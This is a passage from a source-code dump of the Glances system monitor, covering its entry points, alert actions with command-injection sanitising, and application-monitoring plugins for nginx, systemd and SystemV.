    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n#\n\n\"\"\"Init the Glances software.\"\"\"\n\n# Import system libs\nimport locale\nimport platform\nimport signal\nimport sys\nimport tracemalloc\n\n# Global name\n# Version should start and end with a numerical char\n# See https://packaging.python.org/specifications/core-metadata/#version\n# Examples: 1.0.0, 1.0.0rc1, 1.1.0_dev1\n__version__ = \"4.5.3_dev01\"\n__apiversion__ = '4'\n__author__ = 'Nicolas Hennion <nicolas@nicolargo.com>'\n__license__ = 'LGPLv3'\n\n# Import psutil\ntry:\n    from psutil import __version__ as psutil_version\nexcept ImportError:\n    print('psutil library not found. Glances cannot start.')\n    sys.exit(1)\n\n# Import Glances libs\n# Note: others Glances libs will be imported optionally\nfrom glances.logger import logger\nfrom glances.main import GlancesMain\nfrom glances.timer import Counter\n\n# Check locale\ntry:\n    locale.setlocale(locale.LC_ALL, '')\nexcept locale.Error:\n    print(\"Warning: Unable to set locale. Expect encoding problems.\")\n\n# Check psutil version\npsutil_min_version = (5, 3, 0)\npsutil_version_info = tuple([int(num) for num in psutil_version.split('.')])\nif psutil_version_info < psutil_min_version:\n    print('psutil 5.3.0 or higher is needed. Glances cannot start.')\n    sys.exit(1)\n\n\n# Trac malloc is only available on Python 3.4 or higher\ndef __signal_handler(sig, frame):\n    logger.debug(f\"Signal {sig} caught\")\n    # Avoid Glances hang when killing process with muliple CTRL-C See #3264\n    signal.signal(signal.SIGINT, signal.SIG_IGN)\n    end()\n\n\ndef end():\n    \"\"\"Stop Glances.\"\"\"\n    try:\n        mode.end()\n    except (NameError, KeyError):\n        # NameError: name 'mode' is not defined in case of interrupt shortly...\n        # ...after starting the server mode (issue #1175)\n        pass\n\n    logger.info(\"Glances stopped gracefully\")\n\n    # The end...\n    sys.exit(0)\n\n\ndef start_main_loop(args, start_duration):\n    logger.debug(f\"Glances started in {start_duration.get()} seconds\")\n    if args.stop_after:\n        logger.info(f'Glances will be stopped in ~{args.stop_after * args.time} seconds')\n\n\ndef check_memleak(args, mode):\n    if args.memory_leak:\n        wait = args.stop_after * args.time * args.memory_leak * 2\n        print(f'Memory leak detection, please wait ~{wait} seconds...')\n        # First run without dump to fill the memory\n        mode.serve_n(args.stop_after)\n        # Then start the memory-leak loop\n        snapshot_begin = tracemalloc.take_snapshot()\n    else:\n        snapshot_begin = None\n\n    return snapshot_begin\n\n\ndef setup_server_mode(args, mode):\n    if args.stdout_issue or args.stdout_api_restful_doc or args.stdout_api_doc:\n        # Serve once for issue and API documentation modes\n        mode.serve_issue()\n    else:\n        # Serve forever\n        mode.serve_forever()\n\n\ndef maybe_trace_memleak(args, snapshot_begin):\n    if args.trace_malloc or args.memory_leak:\n        snapshot_end = tracemalloc.take_snapshot()\n    if args.memory_leak:\n        snapshot_diff = snapshot_end.compare_to(snapshot_begin, 'filename')\n        memory_leak = sum([s.size_diff for s in snapshot_diff])\n        print(f\"Memory consumption: {memory_leak / 1000:.1f}KB (see log for details)\")\n        logger.info(\"Memory consumption (top 5):\")\n        for stat in snapshot_diff[:5]:\n            logger.info(stat)\n    if args.trace_malloc:\n        # See more options here: https://docs.python.org/3/library/tracemalloc.html\n        top_stats = snapshot_end.statistics(\"filename\")\n        print(\"[ Trace malloc - Top 10 ]\")\n        for stat in top_stats[:10]:\n            print(stat)\n\n\ndef start(config, args):\n    \"\"\"Start Glances.\"\"\"\n\n    # Load mode\n    global mode\n\n    if args.trace_malloc or args.memory_leak:\n        tracemalloc.start()\n\n    start_duration = Counter()\n\n    if core.is_standalone():\n        from glances.standalone import GlancesStandalone as GlancesMode\n    elif core.is_client():\n        if core.is_client_browser():\n            from glances.client_browser import GlancesClientBrowser as GlancesMode\n        else:\n            from glances.client import GlancesClient as GlancesMode\n    elif core.is_server():\n        from glances.server import GlancesServer as GlancesMode\n    elif core.is_webserver():\n        from glances.webserver import GlancesWebServer as GlancesMode\n\n    # Init the mode\n    logger.info(f\"Start {GlancesMode.__name__} mode\")\n    mode = GlancesMode(config=config, args=args)\n\n    start_main_loop(args, start_duration)\n    snapshot_begin = check_memleak(args, mode)\n    setup_server_mode(args, mode)\n    maybe_trace_memleak(args, snapshot_begin)\n\n    # Shutdown\n    mode.end()\n\n\ndef main():\n    \"\"\"Main entry point for Glances.\n\n    Select the mode (standalone, client or server)\n    Run it...\n    \"\"\"\n    # SIGHUP not available on Windows (see issue #2408)\n    if sys.platform.startswith('win'):\n        signal_list = (signal.SIGTERM, signal.SIGINT)\n    else:\n        signal_list = (signal.SIGTERM, signal.SIGINT, signal.SIGHUP)\n    # Catch the kill signal\n    for sig in signal_list:\n        signal.signal(sig, __signal_handler)\n\n    # Log Glances and psutil version\n    logger.info(f'Start Glances {__version__}')\n    python_impl = platform.python_implementation()\n    python_ver = platform.python_version()\n    logger.info(f'{python_impl} {python_ver} ({sys.executable}) and psutil {psutil_version} detected')\n\n    # Share global var\n    global core\n\n    # Create the Glances main instance\n    # Glances options from the command line are read first (in __init__)\n    # then the options from the config file (in parse_args)\n    core = GlancesMain()\n\n    # Glances can be ran in standalone, client or server mode\n    start(config=core.get_config(), args=core.get_args())\n\n\n# End of glances/__init__.py\n"
  },
  {
    "path": "glances/__main__.py",
    "content": "#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Allow user to run Glances as a module.\"\"\"\n\n# Execute with:\n# $ python -m glances (2.7+)\n\nimport glances\n\nif __name__ == '__main__':\n    glances.main()\n"
  },
  {
    "path": "glances/actions.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage on alert actions.\"\"\"\n\nfrom glances.logger import logger\nfrom glances.secure import secure_popen\nfrom glances.timer import Timer\n\ntry:\n    import chevron\nexcept ImportError:\n    logger.debug(\"Chevron library not found (action scripts won't work)\")\n    chevron_tag = False\nelse:\n    chevron_tag = True\n\n# Characters that secure_popen interprets as shell operators.\n# Mustache-rendered values must not contain these to prevent command injection.\n_SHELL_OPERATORS = ('&&', '|', '>>', '>')\n\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\n\n    This prevents command injection when user-controllable data (process names,\n    container names, mount points, etc.) is rendered into action command lines\n    via Mustache templates.\n    \"\"\"\n    if not mustache_dict:\n        return mustache_dict\n\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, ' ')\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n\n\nclass GlancesActions:\n    \"\"\"This class manage action if an alert is reached.\"\"\"\n\n    def __init__(self, args=None):\n        \"\"\"Init GlancesActions class.\"\"\"\n        # Dict with the criticality status\n        # - key: stat_name\n        # - value: criticality\n        # Goal: avoid to execute the same command twice\n        self.status = {}\n\n        # Add a timer to avoid any trigger when Glances is started (issue#732)\n        # Action can be triggered after refresh * 2 seconds\n        if hasattr(args, 'time'):\n            self.start_timer = Timer(args.time * 2)\n        else:\n            self.start_timer = Timer(3)\n\n    def get(self, stat_name):\n        \"\"\"Get the stat_name criticality.\"\"\"\n        try:\n            return self.status[stat_name]\n        except KeyError:\n            return None\n\n    def set(self, stat_name, criticality):\n        \"\"\"Set the stat_name to criticality.\"\"\"\n        self.status[stat_name] = criticality\n\n    def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n        \"\"\"Run the commands (in background).\n\n        :param stat_name: plugin_name (+ header)\n        :param criticality: criticality of the trigger\n        :param commands: a list of command line with optional {{mustache}}\n        :param repeat: If True, then repeat the action\n        :param  mustache_dict: Plugin stats (can be use within {{mustache}})\n\n        :return: True if the commands have been ran.\n        \"\"\"\n        if (self.get(stat_name) == criticality and not repeat) or not self.start_timer.finished():\n            # Action already executed => Exit\n            return False\n\n        logger.debug(\n            \"{} action {} for {} ({}) with stats {}\".format(\n                \"Repeat\" if repeat else \"Run\", commands, stat_name, criticality, mustache_dict\n            )\n        )\n\n        # Run all actions in background\n        for cmd in commands:\n            # Replace {{arg}} by the dict one (Thk to {Mustache})\n            if chevron_tag:\n                # Sanitize mustache values to prevent shell operator injection\n                safe_dict = _sanitize_mustache_dict(mustache_dict)\n                cmd_full = chevron.render(cmd, safe_dict)\n            else:\n                cmd_full = cmd\n            # Execute the action\n            logger.info(f\"Action triggered for {stat_name} ({criticality}): {cmd_full}\")\n            try:\n                ret = secure_popen(cmd_full)\n            except OSError as e:\n                logger.error(f\"Action error for {stat_name} ({criticality}): {e}\")\n            else:\n                logger.debug(f\"Action result for {stat_name} ({criticality}): {ret}\")\n\n        self.set(stat_name, criticality)\n\n        return True\n"
  },
  {
    "path": "glances/amps/__init__.py",
    "content": ""
  },
  {
    "path": "glances/amps/amp.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nI am your father...\n\n...for all Glances Application Monitoring Processes (AMP).\n\nAMP (Application Monitoring Process)\nA Glances AMP is a Python script called (every *refresh* seconds) if:\n- the AMP is *enabled* in the Glances configuration file\n- a process is running (match the *regex* define in the configuration file)\nThe script should define a Amp (GlancesAmp) class with, at least, an update method.\nThe update method should call the set_result method to set the AMP return string.\nThe return string is a string with one or more line (\\n between lines).\nIf the *one_line* var is true then the AMP will be displayed in one line.\n\"\"\"\n\nfrom glances.globals import u\nfrom glances.logger import logger\nfrom glances.timer import Timer\n\n\nclass GlancesAmp:\n    \"\"\"Main class for Glances AMP.\"\"\"\n\n    NAME = '?'\n    VERSION = '?'\n    DESCRIPTION = '?'\n    AUTHOR = '?'\n    EMAIL = '?'\n\n    def __init__(self, name=None, args=None):\n        \"\"\"Init AMP class.\"\"\"\n        logger.debug(f\"AMP - Init {self.NAME} version {self.VERSION}\")\n\n        # AMP name (= module name without glances_)\n        if name is None:\n            self.amp_name = self.__class__.__module__\n        else:\n            self.amp_name = name\n\n        # Init the args\n        self.args = args\n\n        # Init the configs\n        self.configs = {}\n\n        # A timer is needed to only update every refresh seconds\n        # Init to 0 in order to update the AMP on startup\n        self.timer = Timer(0)\n\n    def load_config(self, config):\n        \"\"\"Load AMP parameters from the configuration file.\"\"\"\n\n        # Read AMP configuration.\n        # For ex, the AMP foo should have the following section:\n        #\n        # [foo]\n        # enable=true\n        # regex=\\/usr\\/bin\\/nginx\n        # refresh=60\n        #\n        # and optionally:\n        #\n        # one_line=false\n        # option1=opt1\n\n        amp_section = 'amp_' + self.amp_name\n        if hasattr(config, 'has_section') and config.has_section(amp_section):\n            logger.debug(f\"AMP - {self.NAME}: Load configuration\")\n            for param, _ in config.items(amp_section):\n                try:\n                    self.configs[param] = config.get_float_value(amp_section, param)\n                except ValueError:\n                    self.configs[param] = config.get_value(amp_section, param).split(',')\n                    if len(self.configs[param]) == 1:\n                        self.configs[param] = self.configs[param][0]\n                logger.debug(f\"AMP - {self.NAME}: Load parameter: {param} = {self.configs[param]}\")\n        else:\n            logger.debug(f\"AMP - {self.NAME}: Can not find section {self.amp_name} in the configuration file\")\n            return False\n\n        if self.enable():\n            # Refresh option is mandatory\n            for k in ['refresh']:\n                if k not in self.configs:\n                    logger.warning(\n                        f\"AMP - {self.NAME}: Can not find configuration key {k} in section {self.amp_name} \"\n                        f\"(the AMP will be disabled)\"\n                    )\n                    self.configs['enable'] = 'false'\n        else:\n            logger.debug(f\"AMP - {self.NAME} is disabled\")\n\n        # Init the count to 0\n        self.configs['count'] = 0\n\n        return self.enable()\n\n    def get(self, key):\n        \"\"\"Generic method to get the item in the AMP configuration\"\"\"\n        if key in self.configs:\n            return self.configs[key]\n        return None\n\n    def enable(self):\n        \"\"\"Return True|False if the AMP is enabled in the configuration file (enable=true|false).\"\"\"\n        ret = self.get('enable')\n        if ret is None:\n            return False\n        return ret.lower().startswith('true')\n\n    def regex(self):\n        \"\"\"Return regular expression used to identified the current application.\"\"\"\n        return self.get('regex')\n\n    def refresh(self):\n        \"\"\"Return refresh time in seconds for the current application monitoring process.\"\"\"\n        return self.get('refresh')\n\n    def one_line(self):\n        \"\"\"Return True|False if the AMP should be displayed in one line (one_line=true|false).\"\"\"\n        ret = self.get('one_line')\n        if ret is None:\n            return False\n        return ret.lower().startswith('true')\n\n    def time_until_refresh(self):\n        \"\"\"Return time in seconds until refresh.\"\"\"\n        return self.timer.get()\n\n    def should_update(self):\n        \"\"\"Return True is the AMP should be updated\n\n        Conditions for update:\n        - AMP is enable\n        - only update every 'refresh' seconds\n        \"\"\"\n        if self.timer.finished():\n            self.timer.set(self.refresh())\n            self.timer.reset()\n            return self.enable()\n        return False\n\n    def set_count(self, count):\n        \"\"\"Set the number of processes matching the regex\"\"\"\n        self.configs['count'] = count\n\n    def count(self):\n        \"\"\"Get the number of processes matching the regex\"\"\"\n        return self.get('count')\n\n    def count_min(self):\n        \"\"\"Get the minimum number of processes\"\"\"\n        return self.get('countmin')\n\n    def count_max(self):\n        \"\"\"Get the maximum number of processes\"\"\"\n        return self.get('countmax')\n\n    def set_result(self, result, separator=''):\n        \"\"\"Store the result (string) into the result key of the AMP\n\n        If one_line is true then it replaces `\\n` by the separator\n        \"\"\"\n        if self.one_line():\n            self.configs['result'] = u(result).replace('\\n', separator)\n        else:\n            self.configs['result'] = u(result)\n\n    def result(self):\n        \"\"\"Return the result of the AMP (as a string)\"\"\"\n        ret = self.get('result')\n        if ret is not None:\n            ret = u(ret)\n        return ret\n\n    def update_wrapper(self, process_list):\n        \"\"\"Wrapper for the children update\"\"\"\n        # Set the number of running process\n        self.set_count(len(process_list))\n        # Call the children update method\n        if self.should_update():\n            return self.update(process_list)\n        return self.result()\n"
  },
  {
    "path": "glances/amps/default/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nr\"\"\"\nDefault AMP\n=========\n\nMonitor a process by executing a command line. This is the default AMP's behavior\nif no AMP script is found.\n\nConfiguration file example\n--------------------------\n\n[amp_foo]\nenable=true\nregex=\\/usr\\/bin\\/foo\nrefresh=10\none_line=false\ncommand=foo status\n\"\"\"\n\nfrom glances.amps.amp import GlancesAmp\nfrom glances.logger import logger\nfrom glances.secure import secure_popen\n\n\nclass Amp(GlancesAmp):\n    \"\"\"Glances' Default AMP.\"\"\"\n\n    NAME = ''\n    VERSION = '1.1'\n    DESCRIPTION = ''\n    AUTHOR = 'Nicolargo'\n    EMAIL = 'contact@nicolargo.com'\n\n    def __init__(self, name=None, args=None):\n        \"\"\"Init the AMP.\"\"\"\n        self.NAME = name.capitalize()\n        super().__init__(name=name, args=args)\n\n    def update(self, process_list):\n        \"\"\"Update the AMP\"\"\"\n        # Get the systemctl status\n        logger.debug('{}: Update AMP stats using command {}'.format(self.NAME, self.get('service_cmd')))\n        # Get command to execute\n        try:\n            res = self.get('command')\n        except OSError as e:\n            logger.debug(f'{self.NAME}: Error while executing command ({e})')\n            return self.result()\n        # No command found, use default message\n        if res is None:\n            # Set the default message if command return None\n            # Default sum of CPU and MEM for the matching regex\n            self.set_result(\n                'CPU: {:.1f}% | MEM: {:.1f}%'.format(\n                    sum([p['cpu_percent'] for p in process_list]), sum([p['memory_percent'] for p in process_list])\n                )\n            )\n            return self.result()\n        # Run command(s)\n        # Comma separated commands can be executed\n        try:\n            self.set_result(secure_popen(res).rstrip())\n        except Exception as e:\n            self.set_result(e.output)\n        return self.result()\n"
  },
  {
    "path": "glances/amps/nginx/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nr\"\"\"\nNginx AMP\n=========\n\nMonitor the Nginx process using the status page.\n\nHow to read the stats\n---------------------\n\nActive connections – Number of all open connections. This doesn't mean number of users.\nA single user, for a single page-view can open many concurrent connections to your server.\nServer accepts handled requests – This shows three values.\n    First is total accepted connections.\n    Second is total handled connections. Usually first 2 values are same.\n    Third value is number of and handles requests. This is usually greater than second value.\n    Dividing third-value by second-one will give you number of requests per connection handled\n    by Nginx. In above example, 10993/7368, 1.49 requests per connections.\nReading – nginx reads request header\nWriting – nginx reads request body, processes request, or writes response to a client\nWaiting – keep-alive connections, actually it is active – (reading + writing).\nThis value depends on keepalive-timeout. Do not confuse non-zero waiting value for poor\nperformance. It can be ignored.\n\nSource reference: https://easyengine.io/tutorials/nginx/status-page/\n\nConfiguration file example\n--------------------------\n\n[amp_nginx]\n# Nginx status page should be enable (https://easyengine.io/tutorials/nginx/status-page/)\nenable=true\nregex=\\/usr\\/sbin\\/nginx\nrefresh=60\none_line=false\nstatus_url=http://localhost/nginx_status\n\"\"\"\n\nimport requests\n\nfrom glances.amps.amp import GlancesAmp\nfrom glances.logger import logger\n\n\nclass Amp(GlancesAmp):\n    \"\"\"Glances' Nginx AMP.\"\"\"\n\n    NAME = 'Nginx'\n    VERSION = '1.0'\n    DESCRIPTION = 'Get Nginx stats from status-page'\n    AUTHOR = 'Nicolargo'\n    EMAIL = 'contact@nicolargo.com'\n\n    # def __init__(self, args=None):\n    #     \"\"\"Init the AMP.\"\"\"\n    #     super(Amp, self).__init__(args=args)\n\n    def update(self, process_list):\n        \"\"\"Update the AMP\"\"\"\n        # Get the Nginx status\n        logger.debug('{}: Update stats using status URL {}'.format(self.NAME, self.get('status_url')))\n        res = requests.get(self.get('status_url'), timeout=15)\n        if res.ok:\n            # u'Active connections: 1 \\nserver accepts handled requests\\n 1 1 1 \\nReading: 0 Writing: 1 Waiting: 0 \\n'\n            self.set_result(res.text.rstrip())\n        else:\n            logger.debug('{}: Can not grab status URL {} ({})'.format(self.NAME, self.get('status_url'), res.reason))\n\n        return self.result()\n"
  },
  {
    "path": "glances/amps/systemd/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nr\"\"\"\nSystemd AMP\n===========\n\nMonitor the state of the systemd system and service (unit) manager.\n\nHow to read the stats\n---------------------\n\nactive: Number of active units. This is usually a fairly basic way to tell if the\nunit has started successfully or not.\nloaded: Number of loaded units (unit's configuration has been parsed by systemd).\nfailed: Number of units with an active failed status.\n\nSource reference: https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units\n\nConfiguration file example\n--------------------------\n\n[amp_systemd]\n# Systemd\nenable=true\nregex=\\/usr\\/lib\\/systemd\\/systemd\nrefresh=60\none_line=true\nsystemctl_cmd=/usr/bin/systemctl --plain\n\"\"\"\n\nfrom subprocess import CalledProcessError, check_output\n\nfrom glances.amps.amp import GlancesAmp\nfrom glances.globals import to_ascii\nfrom glances.logger import logger\n\n\nclass Amp(GlancesAmp):\n    \"\"\"Glances' Systemd AMP.\"\"\"\n\n    NAME = 'Systemd'\n    VERSION = '1.1'\n    DESCRIPTION = 'Get services list from systemctl (systemd)'\n    AUTHOR = 'Nicolargo'\n    EMAIL = 'contact@nicolargo.com'\n\n    # def __init__(self, args=None):\n    #     \"\"\"Init the AMP.\"\"\"\n    #     super(Amp, self).__init__(args=args)\n\n    def update(self, process_list):\n        \"\"\"Update the AMP\"\"\"\n        # Get the systemctl status\n        logger.debug('{}: Update stats using systemctl {}'.format(self.NAME, self.get('systemctl_cmd')))\n        try:\n            res = check_output(self.get('systemctl_cmd').split())\n        except (OSError, CalledProcessError) as e:\n            logger.debug(f'{self.NAME}: Error while executing systemctl ({e})')\n        else:\n            status = {}\n            # For each line\n            for r in to_ascii(res).split('\\n')[1:-8]:\n                # Split per space .*\n                column = r.split()\n                if len(column) > 3:\n                    # load column\n                    for c in range(1, 3):\n                        try:\n                            status[column[c]] += 1\n                        except KeyError:\n                            status[column[c]] = 1\n            # Build the output (string) message\n            output = 'Services\\n'\n            for k, v in status.items():\n                output += f'{k}: {v}\\n'\n            self.set_result(output, separator=' ')\n\n        return self.result()\n"
  },
  {
    "path": "glances/amps/systemv/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nr\"\"\"\nSystemV AMP\n===========\n\nMonitor the state of the System V init system and service.\n\nHow to read the stats\n---------------------\n\nRunning: Number of running services.\nStopped: Number of stopped services.\nUpstart: Number of service managed by Upstart.\n\nSource reference: http://askubuntu.com/questions/407075/how-to-read-service-status-all-results\n\nConfiguration file example\n--------------------------\n\n[amp_systemv]\n# Systemv\nenable=true\nregex=\\/sbin\\/init\nrefresh=60\none_line=true\nservice_cmd=/usr/bin/service --status-all\n\"\"\"\n\nfrom glances.amps.amp import GlancesAmp\nfrom glances.logger import logger\nfrom glances.secure import secure_popen\n\n\nclass Amp(GlancesAmp):\n    \"\"\"Glances' Systemd AMP.\"\"\"\n\n    NAME = 'SystemV'\n    VERSION = '1.1'\n    DESCRIPTION = 'Get services list from service (initd)'\n    AUTHOR = 'Nicolargo'\n    EMAIL = 'contact@nicolargo.com'\n\n    # def __init__(self, args=None):\n    #     \"\"\"Init the AMP.\"\"\"\n    #     super(Amp, self).__init__(args=args)\n\n    def update(self, process_list):\n        \"\"\"Update the AMP\"\"\"\n        # Get the systemctl status\n        logger.debug('{}: Update stats using service {}'.format(self.NAME, self.get('service_cmd')))\n        try:\n            # res = check_output(self.get('service_cmd').split(), stderr=STDOUT).decode('utf-8')\n            res = secure_popen(self.get('service_cmd'))\n        except Exception as e:\n            logger.debug(f'{self.NAME}: Error while executing service ({e})')\n        else:\n            status = {'running': 0, 'stopped': 0, 'upstart': 0}\n            # For each line\n            for r in res.split('\\n'):\n                # Split per space .*\n                line = r.split()\n                if len(line) < 4:\n                    continue\n                if line[1] == '+':\n                    status['running'] += 1\n                elif line[1] == '-':\n                    status['stopped'] += 1\n                elif line[1] == '?':\n                    status['upstart'] += 1\n            # Build the output (string) message\n            output = 'Services\\n'\n            for k, v in status.items():\n                output += f'{k}: {v}\\n'\n            self.set_result(output, separator=' ')\n\n        return self.result()\n"
  },
  {
    "path": "glances/amps_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the AMPs list.\"\"\"\n\nimport os\nimport re\nimport threading\n\nfrom glances.globals import amps_path, listkeys\nfrom glances.logger import logger\nfrom glances.processes import glances_processes\n\n\nclass AmpsList:\n    \"\"\"This class describes the optional application monitoring process list.\n\n    The AMP list is a list of processes with a specific monitoring action.\n\n    The list (Python list) is composed of items (Python dict).\n    An item is defined (dict keys):\n    *...\n    \"\"\"\n\n    # The dict\n    __amps_dict = {}\n\n    def __init__(self, args, config):\n        \"\"\"Init the AMPs list.\"\"\"\n        self.args = args\n        self.config = config\n\n        # Load the AMP configurations / scripts\n        self.load_configs()\n\n    def load_configs(self):\n        \"\"\"Load the AMP configuration files.\"\"\"\n        if self.config is None:\n            return False\n\n        # For each AMP script, call the load_config method\n        for s in self.config.sections():\n            if s.startswith(\"amp_\"):\n                # An AMP section exists in the configuration file\n                # If an AMP module exist in amps_path (glances/amps) folder then use it\n                amp_name = s[4:]\n                amp_module = os.path.join(amps_path, amp_name)\n                if not os.path.exists(amp_module):\n                    # If not, use the default script\n                    amp_module = os.path.join(amps_path, \"default\")\n                try:\n                    amp = __import__(os.path.basename(amp_module))\n                except ImportError as e:\n                    logger.warning(f\"Missing Python Lib ({e}), cannot load AMP {amp_name}\")\n                except Exception as e:\n                    logger.warning(f\"Cannot load AMP {amp_name} ({e})\")\n                else:\n                    # Add the AMP to the dictionary\n                    # The key is the AMP name\n                    # for example, the file glances_xxx.py\n                    # generate self._amps_list[\"xxx\"] = ...\n                    self.__amps_dict[amp_name] = amp.Amp(name=amp_name, args=self.args)\n                    # Load the AMP configuration\n                    self.__amps_dict[amp_name].load_config(self.config)\n        # Log AMPs list\n        logger.debug(f\"AMPs list: {self.getList()}\")\n\n        return True\n\n    def __str__(self):\n        return str(self.__amps_dict)\n\n    def __repr__(self):\n        return self.__amps_dict\n\n    def __getitem__(self, item):\n        return self.__amps_dict[item]\n\n    def __len__(self):\n        return len(self.__amps_dict)\n\n    def update(self):\n        \"\"\"Update the command result attributed.\"\"\"\n        # Get the current processes list (once)\n        processlist = glances_processes.get_list()\n\n        # Iter upon the AMPs dict\n        for k, v in self.get().items():\n            if not v.enable():\n                # Do not update if the enable tag is set\n                continue\n\n            if v.regex() is None:\n                # If there is no regex, execute anyway (see issue #1690)\n                v.set_count(0)\n                # Call the AMP update method\n                thread = threading.Thread(target=v.update_wrapper, args=[[]])\n                thread.start()\n                continue\n\n            amps_list = self._build_amps_list(v, processlist)\n\n            if amps_list:\n                # At least one process is matching the regex\n                logger.debug(f\"AMPS: {len(amps_list)} processes {k} detected ({amps_list})\")\n                # Call the AMP update method\n                thread = threading.Thread(target=v.update_wrapper, args=[amps_list])\n                thread.start()\n            else:\n                # Set the process number to 0\n                v.set_count(0)\n                if v.count_min() is not None and v.count_min() > 0:\n                    # Only display the \"No running process message\" if count_min is defined\n                    v.set_result(\"No running process\")\n\n        return self.__amps_dict\n\n    def _build_amps_list(self, amp_value, processlist):\n        \"\"\"Return the AMPS process list according to the amp_value\n\n        Search application monitored processes by a regular expression\n        \"\"\"\n        try:\n            # Search in both cmdline and name (for kernel thread, see #1261)\n            ret = [\n                {'pid': p['pid'], 'cpu_percent': p['cpu_percent'], 'memory_percent': p['memory_percent']}\n                for p in processlist\n                if re.search(amp_value.regex(), p['name'])\n                or ((cmdline := p.get('cmdline')) and re.search(amp_value.regex(), ' '.join(cmdline)))\n            ]\n\n        except (TypeError, KeyError) as e:\n            logger.debug(f\"Can not build AMPS list ({e})\")\n\n        return ret\n\n    def getList(self):\n        \"\"\"Return the AMPs list.\"\"\"\n        return listkeys(self.__amps_dict)\n\n    def get(self):\n        \"\"\"Return the AMPs dict.\"\"\"\n        return self.__amps_dict\n\n    def set(self, new_dict):\n        \"\"\"Set the AMPs dict.\"\"\"\n        self.__amps_dict = new_dict\n"
  },
  {
    "path": "glances/api.py",
    "content": "#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nfrom glances import __version__ as glances_version\nfrom glances.globals import auto_unit, weak_lru_cache\nfrom glances.main import GlancesMain\nfrom glances.outputs.glances_bars import Bar\nfrom glances.processes import sort_stats\nfrom glances.stats import GlancesStats\n\nplugin_dependencies_tree = {\n    'processlist': ['processcount'],\n}\n\n\nclass GlancesAPI:\n    ttl = 2.0  # Default cache TTL in seconds\n\n    def __init__(self, config=None, args=None):\n        self.__version__ = glances_version.split('.')[0]  # Get the major version\n\n        core = GlancesMain()\n        self.args = args if args is not None else core.get_args()\n        self.config = config if config is not None else core.get_config()\n        self._stats = GlancesStats(config=self.config, args=self.args)\n\n        # Set the cache TTL for the API\n        self.ttl = self.args.time if self.args.time is not None else self.ttl\n\n        # Init the stats of all plugins in order to ensure that rate are computed\n        self._stats.update()\n\n    @weak_lru_cache(maxsize=1, ttl=ttl)\n    def __getattr__(self, item):\n        \"\"\"Fallback to the stats object for any missing attributes.\"\"\"\n        if item in self._stats.getPluginsList():\n            if item in plugin_dependencies_tree:\n                # Ensure dependencies are updated before accessing the plugin\n                for dependency in plugin_dependencies_tree[item]:\n                    self._stats.get_plugin(dependency).update()\n            # Update the plugin stats\n            self._stats.get_plugin(item).update()\n            return self._stats.get_plugin(item)\n        raise AttributeError(f\"'{self.__class__.__name__}' object has no attribute '{item}'\")\n\n    def plugins(self):\n        \"\"\"Return the list of available plugins.\"\"\"\n        return self._stats.getPluginsList()\n\n    def auto_unit(self, number, low_precision=False, min_symbol='K', none_symbol='-'):\n        \"\"\"\n        Converts a numeric value into a human-readable string with appropriate units.\n\n        Args:\n            number (float or int): The numeric value to be converted.\n            low_precision (bool, optional): If True, use lower precision for the output. Defaults to False.\n            min_symbol (str, optional): The minimum unit symbol to use (e.g., 'K' for kilo). Defaults to 'K'.\n            none_symbol (str, optional): The symbol to display if the number is None. Defaults to '-'.\n\n        Returns:\n            str: A human-readable string representation of the number with units.\n        \"\"\"\n        return auto_unit(number, low_precision, min_symbol, none_symbol)\n\n    def bar(self, value, size=18, bar_char='■', empty_char='□', pre_char='', post_char=''):\n        \"\"\"\n        Generate a progress bar representation for a given value.\n\n        Args:\n            value (float): The percentage value to represent in the bar (typically between 0 and 100).\n            size (int, optional): The total length of the bar in characters. Defaults to 18.\n            bar_char (str, optional): The character used to represent the filled portion of the bar. Defaults to '■'.\n            empty_char (str, optional): The character used to represent the empty portion of the bar. Defaults to '□'.\n            pre_char (str, optional): A string to prepend to the bar. Defaults to ''.\n            post_char (str, optional): A string to append to the bar. Defaults to ''.\n\n        Returns:\n            str: A string representing the progress bar.\n        \"\"\"\n        b = Bar(\n            size, bar_char=bar_char, empty_char=empty_char, pre_char=pre_char, post_char=post_char, display_value=False\n        )\n        b.percent = value\n        return b.get()\n\n    def top_process(self, limit=3, 